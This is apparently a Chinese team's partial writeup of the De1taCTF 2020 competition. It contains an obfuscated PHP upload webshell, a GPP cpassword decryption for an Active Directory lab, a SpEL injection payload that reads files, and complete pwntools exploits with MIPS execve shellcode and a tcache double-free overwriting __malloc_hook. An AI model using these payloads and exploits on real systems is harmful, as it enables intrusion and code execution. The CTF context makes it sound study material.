前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >De1taCTF2020 部分Writeup

De1taCTF2020 部分Writeup

作者头像
Timeline Sec
发布2020-05-25 15:13:29
1.8K0
发布2020-05-25 15:13:29
举报
文章被收录于专栏:Timeline Sec

Timeline Sec CTF组成立了两个月,终于迎来了第二次比赛(被师傅们锤),以下分享的是我们在De1ta2020比赛中针对部分题目的解题思路。

Web

check in:

抓包,随便上传了个马,发现存在内容黑名单

过滤了ph,尝试用短标签绕过

本地测试了下,这样的短标签可以执行任意系统命令,system也可以

于是我们去选择构造如下的payload上传,让他直接执行命令

最终读到flag

De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

Hard_Pentest_1:

解题的出发角度:短标签+无字母数字webshell应该可以绕过上传,fuzz了一天终于可以执行系统命令

上传的php文件内容如下,后缀可以用大小写绕过:

代码语言:javascript
复制
<?=$_=[]?>
<?=$_=@"$_"?>
<?=$_=$_['!'=='@']?> 
<?=$___=$_?>
<?= $__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?>
<?= $__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?= $_=$$____?>
<?= $___($_[__]($_[_]))?>

发现拿到的web主机是192.168.0.11

域控是192.168.0.12

可以直接ping。

拷贝到本地

代码语言:javascript
复制
C:\web\uploads\c4886f6b02da81f479721e440dc3aa6f\De1CTF2020.lab> findstr /c:"userName=" /c:"cpassword=" /si *.xml
Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml:
<properties action="U" newname="" fullname="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changelogon="1" nochange="0" <="" p="">
 neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/>

然后利用微软公开的密钥解密得到

HintZip_Pass/zL1PpP@sSwO3d

再去解压解密压缩包得到

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:

hint1: You need De1ta user to get flag2

hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].

hint3: Pay attention to the extended rights of De1ta user on the domain.

hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.

后续的第二题渗透思路也是完善的,可是不懂为什么一直不成功……

calc:

打开靶机,通过每次计算时的发包不难找到提交参数的url http://106.52.164.141/spel/calc?calc=算式

那就应该是spel注入相关的知识,在p牛的codebreaking中的javacon遇到过。

首先关于spel表达式,有如下一些tips

  1. 一直在被引用的博文 http://rui0.cn/archives/1043
  2. 官方文档 : https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
  3. 文本表达式 : 支持字符串,日期,数字,布尔和 null
  4. 属性值( Properties )使用 . 来访问,数组( Arrays )和列表( Lists )使用 [] 来获取元素,字典( maps )使用 [] 和 key 访问 value
  5. 列表( Lists )可以在表达式中直接使用 {} 表达
  6. 数组可以在表达式中直接使用 Java 语法构建,但是多维数组不能手动初始化
  7. Java 函数可以直接在表达式中使用
  8. 可以使用关系运算,逻辑运算和数学运算
  9. 赋值可以通过赋值运算符来完成,也可以在 setValue 函数中完成,也可以在 getValue 的调用中完成
  10. T(Type) 可以指定 java.lang.class 的实例,但是对于其他实例,要完全限定
  11. 可以使用 new 调用构造函数,但是除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名
  12. 变量可以使用 #变量名 来进行引用,这些变量是在 StandardEvaluationContext 中使用 setVariable 赋值的
  13. 使用 #root 引用根对象,使用 #this 引用当前上下文对象。
  14. 通过使用 StandardEvaluationContext 中的 registerFunction(String name, Method m) 函数来自定义函数
  15. 如果已使用 Bean 解析器配置了上下文,可以使用 @ 获取 Bean
  16. 表达式允许多个文本和解析块混合使用,常以 #{} 作为分界符

在找未被过滤的java读取文件的方法的时候,发现了java.util.Scanner函数,参考 https://blog.csdn.net/earthhour/article/details/79603100

然后就是实例化的问题了,由于过滤了比较关键的T()就尝试 new,发现 new 也被过滤了,但是可以使用 new 绕过

最终 payload

代码语言:javascript
复制
http://106.52.164.141/spel/calc?calc=neW%20java.util.Scanner(neW%20java.io.File(%22/flag%22)).nextLine()

flag : De1CTF{NobodyKnowsMoreThanTrumpAboutJava}

PWN

code_runner

题目只给了一个服务器地址,nc上去之后会要求输入一个长度为3的字符串,要求字符串的sha256加密后得到指定的hash值。由于字符串长度不长,此步骤爆破即可。

之后得到一个base64编码的字符串,复制到本地解码之后发现是一个gz文件,再次解压缩就给了一个二进制文件,使用flie 命令发现这是个MIPS文件

代码语言:javascript
复制
# file real_code
real_code: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=054a53e5fce96f662a15137fe88cdfbffbbbb9c8, stripped

因此需要先搭建环境,GitHub有个项目叫做arm_now,可以简单快速的搭建MIPS调试环境,使用此命令开启环境。

arm_now start mips32el --sync --redir tcp:1337:1337。其中,--sync指将当前目录复制并加载到虚拟环境中,--redir tcp:1337:1337指将端口转发到本机,便于之后的gdb调试。

接着先静态分析下,由于是MIPS文件,IDA并不能很好的反编译汇编代码,因此很难去理解程序在做什么。此时可以用Ghidra去加载文件并反编译,反编译代码如下。

代码语言:javascript
复制
undefined4 main(void)
{
 int iVar1;
 undefined8 uVar2;
 ulonglong uVar3;
 timeval tStack292;
 timeval tStack284;
 undefined auStack276 [256];
 int iStack20;
 
 iStack20 = __stack_chk_guard;
 gettimeofday(&tStack292,(__timezone_ptr_t)0x0);
 memset(auStack276,0,0x100);
 FUN_00401dc0();
 iVar1 = FUN_00401e88();
 if (iVar1 != 0) {
   gettimeofday(&tStack284,(__timezone_ptr_t)0x0);
   tStack292.tv_usec =
        ((tStack284.tv_sec - tStack292.tv_sec) * 1000000 + tStack284.tv_usec) - tStack292.tv_usec;
   __divdi3(tStack292.tv_usec,0,1000000,0);
   uVar2 = __moddi3(tStack292.tv_usec,0,1000000,0);
   printf("======== %lld.%llds ========\n");
   FUN_00401f64(tStack292.tv_usec,0);
   puts("Your time comes.\n> ");
   uVar3 = __divdi3(tStack292.tv_usec,0,100000,0,(int)((ulonglong)uVar2 >> 0x20),(int)uVar2);
   if (((int)uVar3 == 0) && (uVar3 < 0xd00000000)) {
     read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);
  }
  (*(code *)auStack276)();
}
 if (iStack20 == __stack_chk_guard) {
   return 0;
}
 __stack_chk_fail();
}

读源码过程中,发现了几个关键点

  1. iVar1 = FUN_00401e88();我们需要使得iVar1不为0,才有机会进入到下面的内容
  2. (*(code *)auStack276)();程序试图直接执行栈上内容
  3. ((int)uVar3 == 0) && (uVar3 < 0xd00000000)条件达成时,程序直接读取shellcode,并执行

后两点表示如果我们执行到读取shellcode,那么基本上就可以完全控制这个程序了。因此,我们要先解决第一点。进一步分析FUN_00401e88(),了解到程序会先读取0x100的输入,然后对这个输入做一系列的验证,只有通过所有验证函数才可以返回一个非零值。这些验证函数,每一个函数处理4字节的输入,然后如果此4字节通过验证,会调用另一个函数再去处理接下来的4字节;如果此4字节没有通过验证,则直接返回0。这种模式我们称之为线性,也就是说一旦有4字节的输入不正确,接下来的所有输入都不会被验证。

线性模式的解题利器就是angr,我用一段非常简单的脚本就可以跑出来这个程序的正确输入

代码语言:javascript
复制
p = angr.Project("real_code")
state = p.factory.blank_state(addr=0x401e88)
sm = p.factory.simgr(state)
sm.explore(find=0x400b30)
# 0x400b30为最内层return非零值的汇编指令
print(sm.found[0].posix.dumps(0))

这段代码没有经过优化,并且是用的explore函数,会返回不唯一解,因此在我的VM上大概跑了15分钟。跑出结果后,将解写到solution文件中,然后在MIPS环境中使用./real_code < solution去看看有没有成功。如果程序打印出"======== %lld.%llds ========\n"就代表至少这个输入通过了验证函数。

但当我尝试去连接远程的时候,并没有打印出我想要的内容。同时,我发现每次返回的二进制文件其实不同。我将两次不同的文件反编译,不同之处就在于验证函数。仔细观察验证函数,发现验证函数的每一层其实都有一个模板,看下面的两个函数伪代码说明

代码语言:javascript
复制
short FUN_004017b4(param_1){
 short uVar1;
 if (((((param_1[2] ^ param_1[3]) == 0x4d) && (param_1[3] == 0xce)) &&
    ((uint)param_1[0] == ((uint)(param_1[2] ^ param_1[3]) & 0x7f) << 1)) &&
    (param_1[1] == (byte)(param_1[2] ^ param_1[3] ^ param_1[0]))) {
   uVar1 = FUN_0040166c(param_1 + 4);
}
 else {
   uVar1 = 0;
}
 return uVar1;
}

short FUN_004018c0(param_1){
 short uVar1;
 if (((((param_1[0] ^ param_1[1]) == 0x4e) && (param_1[1] == 0x1b)) &&
    ((uint)param_1[2] == ((uint)(param_1[0] ^ param_1[1]) & 0x7f) << 1)) &&
    (param_1[3] == (byte)(param_1[0] ^ param_1[1] ^ param_1[2]))) {
   uVar1 = FUN_004017b4(param_1 + 4);
}
 else {
   uVar1 = 0;
}
 return uVar1;
}

其中,我们把四个字节看做一个数组,每个不同程序中改变的值有一些常数和数组的下标顺序。由此,我们就可以针对这个模板用z3-solver去写一个求解脚本,下面是针对上述模板的求解函数。

代码语言:javascript
复制
def case1(p, verbose=False):
# p: list of ints
# e.g. for FUN_004018c0
# p = [0, 1, 0x4e, 1, 0x1b, 2, 0, 1, 0x7f, 3, 0, 1, 2]
   s = Solver()
   a = BitVec('a', 32)
   A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
   s.add(A[p[0]] ^ A[p[1]] == p[2])
   s.add(A[p[3]] == p[4])
   s.add(A[p[5]] == ((A[p[6]] ^ A[p[7]]) & p[8]) << 1)
   s.add(A[p[9]] == A[p[10]] ^ A[p[11]] ^ A[p[12]])

   if verbose:
       print(s)
   if s.check() == sat:
       m = s.model()
       return m[a].as_long()
   else:
       print("1unsat :(")
       exit()

我在不同的程序中一共发现6种模板,写出求解脚本后,需要写一个提取变量(数组下标和常量)的脚本,这里我用了capstone去转换并分析汇编代码,此段代码过于繁琐,并且是纯体力劳动,因此不把代码贴出来了。在求解成功之后,程序会读取你的名字(8字节长),以写入排行榜,这里和解题无关。

再之后是读取shellcode,看这一段代码

代码语言:javascript
复制
 uVar3 = __divdi3(tStack292.tv_usec,0,100000,0,uVar2 >> 0x20,uVar2);
   if (((int)uVar3 == 0) && (uVar3 < 0xd00000000)) {
     read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);
  }
  (*(code *)auStack276)();

虽然我不太了解divdi3函数的究竟进行了什么操作,但这里可以大胆预测读取的长度和求解时间长短有关,并且理论最大值为0x34字节(read函数的第三个参数),接下来就是构造shellcode。由于MIPS的特殊性,execve("/bin/sh", 0, 0)是不可取的,而是需要execve("/bin/sh", ["/bin/sh", 0], 0)。在本地测试时,由于解是提前求好的并且没有网络延迟,程序基本上可以读取理论最大值的长度。但在远程,较长的shellcode不能保证完全被读取,所以我们需要使用ROP的技巧修改read的长度并且再一次返回到read,读取一段长shellcode,并且执行这段shellcode。最终shellcode如下。

代码语言:javascript
复制
第一段:
"\x00\x01\x06\x24"         li      a2, 256
"\xdc\xff\xff\x27"         addiu   ra, ra, -36
"\x08\x00\xe0\x03"         jr      ra
"\x00\x00\x00\x00" * 10    nop * 10 这里是padding
第二段:
"\xff\xff\x06\x28"         slti    a2, zero, -1
"\xff\xff\xd0\x04"         bltzal  a2, 0x7fda0380
"\xe0\xff\xbd\x27"         addiu   sp, sp, -32
"\x18\x00\xe4\x27"         addiu   a0, ra, 24
"\xe8\xff\xa4\xaf"         sw      a0, -24(sp)
"\xec\xff\xa0\xaf"         sw      zero, -20(sp)
"\xe8\xff\xa5\x23"         addi    a1, sp, -24
"\xab\x0f\x02\x24"         li      v0, 4011
"\x0c\x01\x01\x01"         syscall 0x40404
"/bin/sh"

只要程序读取前三行(12字节)的shellcode,便会将a2寄存器设置成256,并且跳转到ra-36的位置。ra寄存器储存的值是pc(program counter),由于MIPS的指令长度都是4,那ra-36也就是9个指令之前,也就正好是调用read函数的地方。MIPS中传参使用的寄存器是a0-a3,而在这个例子中,我们需要的寄存器值都没有发生改变,也就是说在read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);中我们只需要改变a2的值为256就可以达到`read(0,auStack276,256);的效果。

MIPS中的\x00\x00\x00\x00代表的就是nop。这里我们假设第一段shellcode的内容没有完全被读完(由于时间限制),而是只读取了前3行指令和n个 nop,那此时stdin中剩下的内容就是(10 - n)个nop以及真正生成shellcode的指令。在第二次读取时,程序就会执行(10 - n)个nop,再执行完整的shellcode,至此,shell被生成。

解题脚本如下:

代码语言:javascript
复制
bar.py:z3求解脚本
rev.py:分析程序,提取变量,调用rev.py返回脚本
brute.py:执行exp
bar.py
代码语言:javascript
复制
#!/usr/bin/env python

from z3 import *


def abs(x):
    return If(x >= 0, x, -x)


def case1(p, verbose=False):
    s = Solver()
    a = BitVec('a', 32)
    A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
    s.add(A[p[0]] ^ A[p[1]] == p[2])
    s.add(A[p[3]] == p[4])
    s.add(A[p[5]] == ((A[p[6]] ^ A[p[7]]) & p[8]) << 1)
    s.add(A[p[9]] == A[p[10]] ^ A[p[11]] ^ A[p[12]])

    if verbose:
        print(s)
    if s.check() == sat:
        m = s.model()
        return m[a].as_long()
    else:
        print("1unsat :(")
        exit()


def case2(p, verbose=False):
    s = Solver()
    a = BitVec('a', 32)
    A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
    s.add(A[p[0]] + A[p[1]] + A[p[2]] == p[3])
    s.add(A[p[4]] + A[p[5]] + A[p[6]] == p[7])
    s.add(A[p[8]] + A[p[9]] + A[p[10]] == p[11])
    s.add(A[p[12]] + A[p[13]] + A[p[14]] == p[15])

    if verbose:
        print(s)
    if s.check() == sat:
        m = s.model()
        return m[a].as_long()
    else:
        print p
        print("2unsat :(")
        exit()


def case3(p, verbose=False):
    s = Solver()
    a = BitVec('a', 32)
    A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
    s.add(A[p[0]] == p[1])
    s.add(A[p[2]] == p[3])
    s.add(A[p[4]] == (A[p[5]] * A[p[6]]) & 0xff)
    s.add(A[p[7]] == (A[p[8]] * A[p[9]] + A[p[10]]
                      * A[p[11]] - A[p[12]] * A[p[13]]) & 0xff)

    if verbose:
        print(s)
    if s.check() == sat:
        m = s.model()
        return m[a].as_long()
    else:
        print p
        print("3unsat :(")
        exit()


def case4(p, verbose=False):
    s = Solver()
    a = BitVec('a', 32)
    A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
    s.add(A[p[0]] + A[p[1]] != p[2])
    s.add(A[p[3]] + A[p[4]] != p[5])
    s.add(A[p[6]] + A[p[7]] != p[8])

    if verbose:
        print(s)
    if s.check() == sat:
        m = s.model()
        return m[a].as_long()
    else:
        print p
        print("4unsat :(")
        exit()

# vals: first 4 values in [], in the order they are encouter in the code


def case5(p, verbose=False):
    s = Solver()
    a = BitVec('a', 32)
    A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
    # print p
    v1 = A[p[0]] * A[p[0]] - A[p[1]] * A[p[1]]
    v2 = A[p[2]] * A[p[2]] - A[p[3]] * A[p[3]]
    v1b = A[p[4]] * A[p[4]] - A[p[5]] * A[p[5]]
    v2b = A[p[6]] * A[p[6]] - A[p[7]] * A[p[7]]

    if p[8] == 1:
        # v2 <= v1
        s.add(abs(v1) >= abs(v2))
    else:
        # v2 > v1
        s.add(abs(v2) > abs(v1))

    if p[9] == 1:
        s.add(abs(v1b) >= abs(v2b))
    else:
        s.add(abs(v2b) > abs(v1b))

    if verbose:
        print(s)
    if s.check() == sat:
        m = s.model()
        '''
        if p[9] == 0 and p[8] == 0:
            print "---"
            print (m[a].as_long() & 255)*(m[a].as_long() & 255) - (m[a].as_long() >> 24 & 255)*(m[a].as_long() >> 24 & 255)
            print (m[a].as_long() >> 8 & 255)*(m[a].as_long() >> 8 & 255) - (m[a].as_long() >> 16 & 255)*(m[a].as_long() >> 16 & 255)
            print "---"
            print "---"
            print hex(m[a].as_long())
        '''
        return m[a].as_long()
    else:
        print("unsat :(")
        exit()


def case6(p, verbose=False):
    s = Solver()
    a = BitVec('a', 32)
    A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
    s.add(A[p[0]] == A[p[1]])
    s.add(A[p[2]] == A[p[3]])
    s.add(A[p[4]] == p[5])
    s.add(A[p[6]] == p[7])

    if verbose:
        print(s)
    if s.check() == sat:
        m = s.model()
        return m[a].as_long()
    else:
        print("6unsat :(")
        exit()

rev.py:内容过长,附在文章末尾,师傅们有需自取

brute.py:

代码语言:javascript
复制
import hashlibfrom pwn import *import osfrom rev import generatePayloadimport timeimport codesha = open("sha", "rb").read().split("\n")dict_sha = {}print "loading"for x in range(len(sha)):    dict_sha[sha[x]] = xprint "loaded dict"# Used a saved dict of sha256# as I thought this would reduce some time taken# but this is not the key to solve the chall# just a waste of space but saves time to bruteforceshellcode = "\x00\x01\x06\x24\xdc\xff\xff\x27\x08\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x06\x28\xff\xff\xd0\x04\xe0\xff\xbd\x27\x18\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"def exp():    b6gz = open("b6gz", "wb")    r = remote("106.53.114.216", 9999, level="debug")    r.recvuntil("=========Pow========\n")    hash_value = r.recvuntil("\"\n", drop=True).split("== \"")[1]    length = int(r.recvuntil("\n", drop=True).split("== ")[1])    guess_all = list(chr(x) for x in range(0x0, 0x100))    guess = p32(dict_sha[hash_value], endian="big")[1:]    r.sendline(guess)    r.recvuntil("Binary Dump:\n===============\n")    dumps = r.recvuntil("\n==", drop=True)    b6gz.write(dumps)    b6gz.close()    os.system("base64 -d b6gz > b6.gz")    os.system("gzip -cd b6.gz > real_code")    payload = generatePayload("real_code")    name = "shell\x00\x00\x00"    r.recvuntil("> ")    r.send(payload)    r.recvuntil("> ")    r.send(name)    r.recvuntil("> ")    r.send(shellcode)    r.interactive()    r.close()# enter exp() manually# as the dict file is loaded into memory# I don't want to reload every time# and sometimes generatePayload() does not work properly# if it throws an exption, ignore it and exp() againcode.interact(local=locals())

最终得到flag:

De1ctf{9d94bc3d3f57f1b33aee728b5d32d6d473df8df3}

stl_container:

C++写的菜单堆,glibc2.27,有4个功能,每个功能最多创建两个chunk,queue和stack不存在show功能

vector存在double free,先申请出8个chunk,全部free掉,把tcache填满,然后再free一次vector中的chunk0,就能将main_arena链如unsorted bin中,就能leak libc_base了

大概像这样

leak完之后将queue和stack的都申请回来,再释放掉,然后再申请一个vector中的chunk0

再次double free,紧接着vector申请一个chunk,里面放malloc_hook-0x16,然后调试看,大概会像这样

然后再申请一个vector中的chunk,就会申请到以malloc_hook-0x16为地址的chunk,改malloc_hook为one_gadget就gg了

exp:

代码语言:javascript
复制
#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './stl_container' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("134.175.239.26",8848)
elf=ELF(binary)
libc=ELF("libc-2.27.so")
def Ladd(content):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("data:")
    p.send(content)
def vadd(content):
    p.recvuntil(">> ")
    p.send("2")
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("data:")
    p.send(content)
def qadd(content):
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("data:")
    p.send(content)
def sadd(content):
    p.recvuntil(">> ")
    p.send("4")
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("data:")
    p.send(content)
def Lfree(index):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil(">> ")
    p.send("2")
    p.recvuntil("index?")
    p.send(str(index))
def vfree(index):
    p.recvuntil(">> ")
    p.send("2")
    p.recvuntil(">> ")
    p.send("2")
    p.recvuntil("index?")
    p.send(str(index))
def qfree():
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil(">> ")
    p.send("2")
def sfree():
    p.recvuntil(">> ")
    p.send("4")
    p.recvuntil(">> ")
    p.send("2")
def Lshow(index):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil("index?")
    p.send(str(index))
def vshow(index):
    p.recvuntil(">> ")
    p.send("2")
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil("index?")
    p.send(str(index))
def qshow(index):
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil("index?")
    p.send(str(index))
def sshow(index):
    p.recvuntil(">> ")
    p.send("4")
    p.recvuntil(">> ")
    p.send("3")
    p.recvuntil("index?")
    p.send(str(index))
def exp():
    Ladd(" ") # 0
    Ladd(" ") # 1
    vadd(" ") # 2
    vadd(" ") # 3
    qadd(" ") # 4
    qadd(" ") # 5
    sadd(" ") # 6
    sadd(" ") # 7
    Lfree(0)
    Lfree(1)
    vfree(0)
    vfree(1)
    qfree()
    qfree()
    sfree()
    sfree()
    vfree(0)
    qadd(" ")
    qadd(" ")
    sadd(" ")
    sadd(" ")
    vadd(" ")
    vshow(0)
    
    leak =  u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) 
    libc_base = leak - 0x3ebc20
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    realloc = libc_base + libc.sym['realloc']
    log.success("libc_base==>" + hex(libc_base))
    log.success("malloc_hook==>" + hex(malloc_hook))
    one_gadget = libc_base +   0x4f322   
    print "one==>" + hex(one_gadget)
    payload = p64(malloc_hook)
    qfree()
    qfree()
    sfree()
    sfree()




    vadd(" ")
    vfree(0)
    vfree(0)
    vadd(p64(malloc_hook-0x16))
    payload = "a" *0x16 + p64(one_gadget)
    vadd(payload)
    #gdb.attach(p)
    p.recvuntil(">> ")
p.send("1")
p.recvuntil(">> ")
p.send("1")
    p.sendline("cat flag")
    p.interactive()
exp()

最终得到flag: De1CTF{NeuEr_u51ng_O6j3ct_1n_VecT0r}

Misc

Welcome_to_the_2020_de1ctf:

tg走一走,flag就到手

check_in!

https://t.me/De1CTF

De1CTF{m4y_th3_f0rc3_b3_w1th_y0u}

Misc杂烩/Misc Chowder

从流量包里提取出几张图片,有用的一张是一个链接:

访问之后下载了一个readme.zip

解压后是一个docx文件,直接改掉docx的后缀为zip,查看到一个 You_found_me_Orz.zip

然后通过azpr去爆破这个zip的密码,成功爆破出密码为DE34Q1

得到图片:You_found_me_Orz.jpg

通过binwalk处理此图片,得到以下内容:

然后这里没有直接看到flag,flag.txt里的内容也是假的,7z解压打开能直接看到ntfs隐写的文件,找到flag在666.jpg_fffffffflllll.txt

flag:

De1CTF{E4Sy_M1sc_By_Jaivy_31b229908cb9bb}

mc_joinin

Hurry up and join in the game.

We’re waiting for you.

mc_joinin's flag is: De1CTF{md5(flag)}

在题目环境 Web 页面获取到信息如下:

Minecraft 20.20 is developed by De1ta Team based on 1.12

Headless: Client isn't necessary.

首先尝试通过 HMCL 启动器安装 Java 1.12 版本的游戏资源,尝试离线模式加入多人游戏。

提示版本不兼容,无法连接至服务器。

在 Github 上检索 Minecraft client 找到仓库 [pyCraft](https://github.com/ammaraskar/pyCraft):

运行 start.py 尝试连接服务器时提示:

VersionMismatch: Server's protocol version of 997 (MC2020) is not supported.

在 ./minecraft/__init__.py 中 229 行添加:'MC2020': 997, 再次尝试:

成功连接到服务器, Wireshark 捕获流量进行分析:

HIDE FLAG ONE imgur.com/a/ZOrErVM,进而获取到图片:

StegSolve 检查时在 Red plane 1 通道获取到隐写信息:

对图片进行旋转反向变换后获取到 De1CTF{MC2020_Pr0to3l_Is_Funny-ISn't_It?}

最终 flag: De1CTF{33426ff09d87c2c988f1c3ff250bcd72}

life:

No Game No Life!

binwalk 检查 game.jpg 发现有附件文件,`-e` 进行分离:

获取到加密压缩包 flag.zip (内含 txt.pilf.txt)及 passphare.png,需要从 png 中获取 key 解压 flag.zip,passphare.png(27 * 27) 如下:

尝试作为 QR 、DataMatrix 进行修复识别无果,后通过 Google 搜索 "CTF" "life" "game" 时发现该图很可能出自 [Conway's Game of Life](https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life)(一款模拟细胞演变状态的细胞自动机)。

参考 [Sunshine CTF 2019 Golly Gee Willikers](https://medium.com/ctf-writeups/sunshine-ctf-2019-write-up-c7174c0fb56) , 首先将 passphare.png 转换为 01 矩阵如下:

代码语言:javascript
复制
000000000000010000000000000
000000000000000000000000000
001000000000010000000000000
000001010010100001001011000
000110101100101111011001000
000101010101000001011010000
010100000100000110000000100
000110101101100101010010000
000101010101011001101100100
000010101000010001001101000
000100000101100110000000111
000000011110001011001101101
001010010000001000110000010
000001110010110001001101011
001010011011000100000010011
000101111000110100111100010
000001100000011001010101011
000010011001110010101011011
001100001100101000010001001
000000100101000101100000011
111001100100110001001111011
011100100010111010001010010
100000001000100001101001011
100100000010010000110000110
101011110100111111100110010
100011111110110110011111110
001001000011110011101010011

再通过如下脚本转换为 [Extended RLE Format](http://golly.sourceforge.net/Help/formats.html):

代码语言:javascript
复制
lines = open("1.txt", "r").read().split("\n")
content = ""
header = "x = 27, y = 27, rule = B3/S23\n"




for line in lines:
    line = line.replace("1", "o")
    line = line.replace("0", "b")
    idx = 0
    currState = "u"
    currNum = 0
    while idx < 28:
        # flush the last one
        if idx == 27:
            if currNum > 1:
                content += str(currNum) + currState
                content += "$"
            else:
                content += line[26]
                content += "$"
            break
        # init state
        if currState == "u":
            currState = line[idx]
            currNum = 1
        # already inited
        # and same state of cell
        elif currState == line[idx]:
            currNum += 1
        elif currState != line[idx]:
            # print("flush now")
            result = str(currNum) + currState if currNum != 1 else currState
            content += result
            currState = line[idx]
            currNum = 1
        # print(line[idx], str(currNum) + currState, content)
        idx += 1




print(header + content)

在 https://copy.sh/life/ 导入 Extend RLE Format state 如下:

代码语言:javascript
复制
x = 27, y = 27, rule = B3/S23
13bo13b$27b$2bo10bo13b$5bobo2bobo4bo2bob2o3b$3b2obob2o2bob4ob2o2bo3b$3bobobobobo5bob2obo4b$bobo5bo5b2o7bo2b$3b2obob2ob2o2bobobo2bo4b$3bobobobobob2o2b2ob2o2bo2b$4bobobo4bo3bo2b2obo3b$3bo5bob2o2b2o7b3o$7b4o3bob2o2b2ob2obo$2bobo2bo6bo3b2o5bob$5b3o2bob2o3bo2b2obob2o$2bobo2b2ob2o3bo6bo2b2o$3bob4o3b2obo2b4o3bob$5b2o6b2o2bobobobob2o$4bo2b2o2b3o2bobobob2ob2o$2b2o4b2o2bobo4bo3bo2bo$6bo2bobo3bob2o6b2o$3o2b2o2bo2b2o3bo2b4ob2o$b3o2bo3bob3obo3bobo2bob$o7bo3bo4b2obo2bob2o$o2bo6bo2bo4b2o4b2ob$obob4obo2b7o2b2o2bob$o3b7ob2ob2o2b7ob$2bo2bo4b4o2b3obobo2b2o$

观察下一个 Step发现 QR Code,获取到 key: AJTC8ADEVRA13AR.

